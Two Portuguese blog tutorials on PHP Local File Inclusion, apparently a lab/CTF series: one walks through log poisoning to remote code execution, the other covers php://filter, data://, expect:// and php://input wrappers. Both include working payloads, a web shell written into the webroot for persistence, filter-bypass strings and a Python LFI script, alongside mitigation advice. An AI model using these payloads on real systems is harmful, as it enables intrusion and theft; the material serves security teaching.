
Entendendo o LFI (Local File Inclusion)

Local File Inclusion é uma vulnerabilidade que permite a um atacante incluir arquivos locais do servidor através de parâmetros manipuláveis na aplicação web. Isso acontece quando a aplicação não valida adequadamente os inputs do usuário.

Exemplo básico:

http://exemplo.com/index.php?page=../../../../etc/passwd

O Conceito de Log Poisoning

Log Poisoning é a técnica de “envenenar” arquivos de log inserindo código malicioso que será posteriormente executado quando o log for lido através de uma vulnerabilidade LFI.

Como Funciona o Ataque

Passo 1: Identificação da Vulnerabilidade LFI

• Encontrar parâmetros que incluem arquivos
• Testar com payloads de directory traversal
• Confirmar a capacidade de ler arquivos do sistema

Passo 2: Localização dos Arquivos de Log

Logs comuns que podem ser alvos:

• /var/log/apache2/access.log
• /var/log/nginx/access.log
• /var/log/auth.log
• /proc/self/environ

Passo 3: Envenenamento do Log

Inserir código PHP malicioso através de campos que são registrados nos logs:

• User-Agent
• Referer
• Nome de arquivos requisitados

Passo 4: Execução via LFI

Usar a vulnerabilidade LFI para ler o log envenenado e executar o código.

🥸 Walkthrough Prático

Informações da Máquina

• Nome: LFI Log Poisoning
• Dificuldade: Médio
• IP: 10.10.0.18
• Objetivo: Explorar LFI com Log Poisoning para RCE

Fase 1: Reconhecimento e Descoberta Inicial

Ao acessar o IP 10.10.0.18 via navegador, nos deparamos imediatamente com uma página de upload de arquivos. Esta é uma situação comum em CTFs onde a aplicação já está exposta diretamente.

Primeira descoberta crítica:

• Testamos a funcionalidade criando um arquivo simples: touch teste.png
• Após o upload, o sistema nos redirecionou para: http://10.10.0.18/download.php?fid=./files/394164068/test.png

🎯 Vetor de ataque identificado: O parâmetro fid no arquivo download.php é nosso ponto de entrada!

Fase 2: Confirmação da Vulnerabilidade LFI

Teste direto no navegador:

http://10.10.0.18/download.php?fid=../../../../etc/passwd

Resultado: A aplicação baixou um arquivo chamado _.._.._.._etc_passwd contendo:

✅ LFI confirmado com sucesso!

Fase 3: Identificação dos Logs Acessíveis

Testando acesso aos logs do nginx:

http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log

Conteúdo do log encontrado:

🎯 Podemos ver nossas próprias requisições sendo registradas!

Fase 4: Log Poisoning via URL

Injeção direta via URL:

http://10.10.0.18/download.php?fid=<?php system(\$_GET['cmd']); ?>

Verificação do poisoning no log:

✅ Payload PHP injetado com sucesso no log!

🏴‍☠️Fase 5: Execução Remota de Código (RCE)

Teste inicial — comando whoami:

http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&cmd=whoami

Resultado no log:

Listagem do sistema de arquivos:

http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&cmd=ls /

Output:

🏁 Flag identificada: flag.txt

Comando final:

http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&cmd=cat /flag.txt

🎉 Flag capturada:

📒Lições Aprendidas do Walkthrough

Técnicas Alternativas Descobertas

Injeção via URL direta: Uma abordagem menos comum mas efetiva foi injetar o payload PHP diretamente através do parâmetro vulnerável, ao invés de usar curl com User-Agent modificado. Isso demonstra que há múltiplas formas de alcançar o mesmo objetivo.

URL Encoding automático: O navegador automaticamente codificou nosso payload, transformando < em %3C e outros caracteres especiais, o que não impediu a execução do código.

Pontos Críticos de Sucesso

1. Identificação rápida do vetor: A funcionalidade de upload/download expôs imediatamente o parâmetro vulnerável
2. Teste sistemático de logs: Nginx access.log foi o caminho correto neste ambiente
3. Validação do poisoning: Sempre verificar se o payload foi registrado antes de tentar a execução
4. Execução progressiva: Comandos simples primeiro (whoami, ls) antes de partir para objetivos complexos

Técnicas Avançadas Complementares

Bypass de Filtros:

%2e%2e%2f = ../
%252e%252e%252f = ../ (dupla codificação)

Null Byte (PHP < 5.3.4):

../../../../etc/passwd%00

Wrappers PHP:

php://filter/convert.base64-encode/resource=../../../../etc/passwd

Estabelecendo Persistência

Se necessário manter acesso, após obter RCE:

http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php

🥽Medidas de Proteção

Para Desenvolvedores

1. Validação de Input Rigorosa

// Whitelist de arquivos permitidos
$allowed_files = ['home.php', 'about.php', 'contact.php'];
if (in_array($_GET['page'], $allowed_files)) {
    include $_GET['page'];
} else {
    die('Arquivo não permitido');
}

1. Sanitização com realpath()

$file = realpath('./files/' . basename($_GET['fid']));
if ($file && strpos($file, realpath('./files/')) === 0) {
    readfile($file);
} else {
    die('Acesso negado');
}

1. Nunca confiar em input do usuário
2. Implementar logs seguros que não interpretem código

Para Administradores de Sistema

1. Configuração adequada de logs
2. Permissões restritivas
3. Monitoramento de logs
4. Web Application Firewall (WAF)

Considerações Finais

O walkthrough prático da máquina 10.10.0.18 demonstrou na prática como o LFI Log Poisoning pode ser uma técnica devastadoramente eficaz. A captura da flag comprovou que vulnerabilidades aparentemente simples, quando combinadas, podem resultar em comprometimento total do sistema.

Principais Takeaways

1. Reconhecimento é fundamental: Identificar rapidamente pontos de entrada viáveis
2. Teste sistemático: Nem sempre o primeiro log testado será o acessível
3. Criatividade nas técnicas: A injeção via URL direta mostrou-se tão eficaz quanto métodos tradicionais
4. Validação constante: Sempre verificar se cada etapa foi bem-sucedida antes de prosseguir

Impacto Real

Em um ambiente de produção, esse tipo de vulnerabilidade permitiria:

• Acesso total ao sistema de arquivos
• Execução de comandos arbitrários como www-data
• Possível escalação de privilégios
• Comprometimento de dados sensíveis
• Estabelecimento de backdoors para acesso persistente

Próximos Passos

1. Practice em labs controlados.
2. Estudo de variações da técnica.
3. Desenvolvimento de scripts de automação.
4. Aprofundamento em medidas de proteção.

Lembre-se: O conhecimento em segurança cibernética deve sempre ser usado de forma ética e responsável, contribuindo para um ambiente digital mais seguro para todos.

Este artigo faz parte de uma série sobre técnicas de penetration testing. Para mais conteúdo educacional sobre segurança cibernética, acompanhe nossas publicações.

Local File Inclusion (LFI) é uma das vulnerabilidades web mais comuns e perigosas que encontramos em aplicações PHP. Quando combinada com PHP Wrappers, essa vulnerabilidade se torna ainda mais poderosa, permitindo que atacantes não apenas leiam arquivos, mas também executem código e comprometam completamente o servidor.

Neste artigo, vamos entender de forma prática como funciona essa vulnerabilidade e como explorá-la eticamente em ambientes de laboratório.

O que é LFI (Local File Inclusion)?

LFI é uma vulnerabilidade que ocorre quando uma aplicação web inclui arquivos baseados em entrada do usuário sem validação adequada. É como se o site fosse uma biblioteca onde você pode pedir qualquer livro, até mesmo os que estão no escritório privado do bibliotecário.

Exemplo Básico

Considere este código PHP vulnerável:

<?php
$page = $_GET['page'];
include($page);
?>

Uma URL normal seria:

http://exemplo.com/index.php?page=home.php

Mas um atacante poderia explorar assim:

http://exemplo.com/index.php?page=../../../etc/passwd

PHP Wrappers: Os Multiplicadores de Poder

PHP Wrappers são protocolos especiais que o PHP reconhece para acessar diferentes tipos de recursos. Eles transformam uma simples vulnerabilidade LFI em uma ferramenta muito mais poderosa.

1. php://filter — O Revelador de Código

O wrapper php://filter é usado para aplicar filtros aos dados antes de lê-los. Sua principal utilidade em LFI é converter arquivos PHP em base64 para visualizar o código fonte.

Sintaxe:

php://filter/convert.base64-encode/resource=arquivo.php

Por que base64?

• Arquivos PHP são executados pelo servidor antes de serem enviados
• Base64 “desativa” a execução, mostrando o código fonte
• Depois decodificamos para ver o conteúdo original

Exemplo prático:

http://site.com/index.php?page=php://filter/convert.base64-encode/resource=config.php

2. data:// — O Injetor de Código

O wrapper data:// permite incluir dados diretamente na URL, como se fosse um arquivo.

Sintaxe:

data://text/plain;base64,CÓDIGO_EM_BASE64

Exemplo de exploit:

# Código PHP: <?php echo "Exploited!"; ?>
# Em base64: PD9waHAgZWNobyAiRXhwbG9pdGVkISI7ID8+

# URL final:
http://site.com/index.php?page=data://text/plain;base64,PD9waHAgZWNobyAiRXhwbG9pdGVkISI7ID8+

3. expect:// — O Executor de Comandos

O wrapper expect:// executa comandos do sistema operacional.

Exemplo:

http://site.com/index.php?page=expect://whoami

Nota: Requer a extensão expect habilitada (raro em produção).

4. php://input — O Receptor de POST

Permite ler dados do corpo da requisição HTTP.

Uso com curl:

curl -X POST --data "<?php system('whoami'); ?>" "http://site.com/index.php?page=php://input"

Metodologia de Exploração

Passo 1: Identificação da Vulnerabilidade

Procure por parâmetros que incluem arquivos:

• ?page=
• ?file=
• ?document=
• ?path=

Passo 2: Teste Básico de LFI

# Linux/Unix
?page=../../../etc/passwd

# Windows
?page=../../../windows/win.ini

Passo 3: Bypass de Filtros Comuns

# Double encoding
?page=..%252f..%252f..%252fetc%252fpasswd

# Null byte (PHP < 5.3.4)
?page=../../../etc/passwd%00

# Wrappers
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd

Passo 4: Exploração com PHP Wrappers

# Ler código fonte
?page=php://filter/convert.base64-encode/resource=index.php

# Executar código
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4=

Ferramentas Úteis

Script Python para Decodificar Base64

import base64
import sys

if len(sys.argv) != 2:
    print("Uso: python decode.py <string_base64>")
    sys.exit(1)

encoded = sys.argv[1]
decoded = base64.b64decode(encoded).decode('utf-8')
print(decoded)

One-liner para Encoding

echo '<?php system($_GET["cmd"]); ?>' | base64

Prevenção

Para Desenvolvedores

1. Validação de Entrada:

$allowed_pages = ['home', 'about', 'contact'];
if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page'] . '.php');
}

1. Sanitização:

$page = basename($_GET['page']);
$page = str_replace(['../', '..\\'], '', $page);

1. Configuração do PHP:

allow_url_include = Off
allow_url_fopen = Off

Para Pentesters

• Sempre teste em ambientes autorizados
• Documente todos os achados
• Sugira correções construtivas
• Respeite o escopo do teste

Cenários Reais de Exploração

Cenário 1: Leitura de Arquivos de Configuração

# Objetivo: Encontrar credenciais de banco
?page=php://filter/convert.base64-encode/resource=config.php

Cenário 2: Bypass de Autenticação

# Objetivo: Entender lógica de login
?page=php://filter/convert.base64-encode/resource=login.php

Cenário 3: Remote Code Execution

# Objetivo: Executar comandos
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=whoami

Laboratório Prático

Configuração de Ambiente Vulnerável

<?php
// vulnerable.php
$page = $_GET['page'] ?? 'home';
include($page . '.php');
?>

Testes Progressivos

1. Teste básico: ?page=../../../etc/passwd
2. Wrapper filter: ?page=php://filter/convert.base64-encode/resource=vulnerable.php
3. Wrapper data: ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

Caso Prático Real: Portal de Upload Vulnerável

Cenário da Máquina de Estudos

Durante um teste de penetração em uma máquina de laboratório (IP: 10.10.0.17), nos deparamos com um portal web que possuía apenas uma funcionalidade de upload de arquivos. Vamos analisar como exploramos essa aplicação passo a passo.

Reconhecimento Inicial

Ambiente descoberto:

• Portal web simples com funcionalidade de upload
• Após upload, sistema gera um link de download
• URL de download: http://10.10.0.17/download.php?fid=./files/394164068/test.png

Primeira observação crítica: O parâmetro fid parecia incluir arquivos diretamente baseado na entrada do usuário.

Passo 1: Identificação da Vulnerabilidade

Testamos se o parâmetro fid era vulnerável a LFI:

# Teste básico de LFI
curl "http://10.10.0.17/download.php?fid=../../../etc/passwd"

Resultado: ✅ Sucesso! O arquivo /etc/passwd foi retornado, confirmando a vulnerabilidade LFI.

Passo 2: Exploração com PHP Wrapper

Com a vulnerabilidade confirmada, partimos para a exploração usando PHP Wrappers para acessar o código-fonte da aplicação:

# Leitura do código-fonte do arquivo vulnerável
curl "http://10.10.0.17/download.php?fid=php://filter/convert.base64-encode/resource=download.php"

Resultado obtido:

PD9waHAgCgokZmlsZSA9ICRfR0VUWydmaWQnXTsKJHR5cGUgPSBAZmlsZXR5cGUoJGZpbGUpOwpoZWFkZXIoJ0NvbnRlbnQtdHlwZTogJy4kdHlwZSk7CmhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuJGZpbGUuJyInKTsKCmluY2x1ZGUgJGZpbGU7Cgo/Pg==

Decodificação:

echo "PD9waHAgCgokZmlsZSA9ICRfR0VUWydmaWQnXTsKJHR5cGUgPSBAZmlsZXR5cGUoJGZpbGUpOwpoZWFkZXIoJ0NvbnRlbnQtdHlwZTogJy4kdHlwZSk7CmhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuJGZpbGUuJyInKTsKCmluY2x1ZGUgJGZpbGU7Cgo/Pg==" | base64 -d

Código revelado:

Também investigamos o arquivo principal da aplicação:

# Leitura do index.php
curl "http://10.10.0.17/download.php?fid=php://filter/convert.base64-encode/resource=index.php"

Mesmo resultado, o index.php foi baixado com sucesso, decodamos o base64 e agora temos a flag.

Através da análise dos arquivos de código-fonte obtidos, conseguimos localizar a flag do desafio escondida em um dos arquivos PHP da aplicação.

Lições Aprendidas do Caso Prático

1. Reconhecimento é fundamental: A análise inicial da funcionalidade de upload revelou o vetor de ataque.
2. Parâmetros de arquivo são alvos prioritários: Qualquer parâmetro que parece referenciar arquivos deve ser testado.
3. PHP Wrappers expandem as possibilidades: Sem o php://filter, não conseguiríamos ver o código-fonte.
4. Análise de código é crucial: A flag estava no próprio código da aplicação
5. Metodologia estruturada é eficaz: Teste básico → Wrapper → Análise de código → Objetivo alcançado.

Script de Automação para Este Tipo de Teste

#!/usr/bin/env python3
import requests
import base64
import sys

def test_lfi_wrapper(url, param, target_file):
    """Testa LFI com PHP Wrapper e decodifica resultado"""
    
    payload = f"php://filter/convert.base64-encode/resource={target_file}"
    full_url = f"{url}?{param}={payload}"
    
    try:
        response = requests.get(full_url)
        if response.status_code == 200:
            try:
                decoded = base64.b64decode(response.text).decode('utf-8')
                print(f"[+] Sucesso ao ler {target_file}:")
                print("-" * 50)
                print(decoded)
                print("-" * 50)
                return True
            except:
                print(f"[-] Conteúdo não está em base64 para {target_file}")
                return False
        else:
            print(f"[-] Falhou ao acessar {target_file}")
            return False
    except Exception as e:
        print(f"[-] Erro: {e}")
        return False
# Uso do script
if __name__ == "__main__":
    base_url = "http://10.10.0.17/download.php"
    param = "fid"
    
    files_to_test = [
        "download.php",
        "index.php", 
        "config.php",
        "../../../etc/passwd"
    ]
    
    for file in files_to_test:
        test_lfi_wrapper(base_url, param, file)
        print()

Este caso real demonstra como uma vulnerabilidade aparentemente simples pode levar ao comprometimento completo da aplicação quando explorada com as técnicas adequadas.

Conclusão

LFI com PHP Wrappers representa uma vulnerabilidade crítica que pode levar ao comprometimento completo de uma aplicação web. A combinação de diferentes wrappers oferece múltiplas vetores de ataque, desde a simples leitura de arquivos até a execução remota de código.

Para desenvolvedores, a prevenção passa por validação rigorosa de entrada, sanitização adequada e configuração segura do ambiente PHP. Para profissionais de segurança, o entendimento profundo dessa vulnerabilidade é essencial para realizar testes efetivos e propor soluções robustas.

Lembre-se sempre: o conhecimento dessas técnicas deve ser usado apenas em ambientes autorizados e para fins legítimos de segurança.

Sobre Segurança Ética: Este conteúdo tem fins puramente educacionais. Sempre obtenha autorização explícita antes de testar vulnerabilidades em sistemas que não sejam seus. O uso inadequado dessas informações pode constituir crime em muitas jurisdições.

Referências e Leitura Adicional

• OWASP — Path Traversal
• PHP Manual — Supported Protocols and Wrappers
• PortSwigger Web Security Academy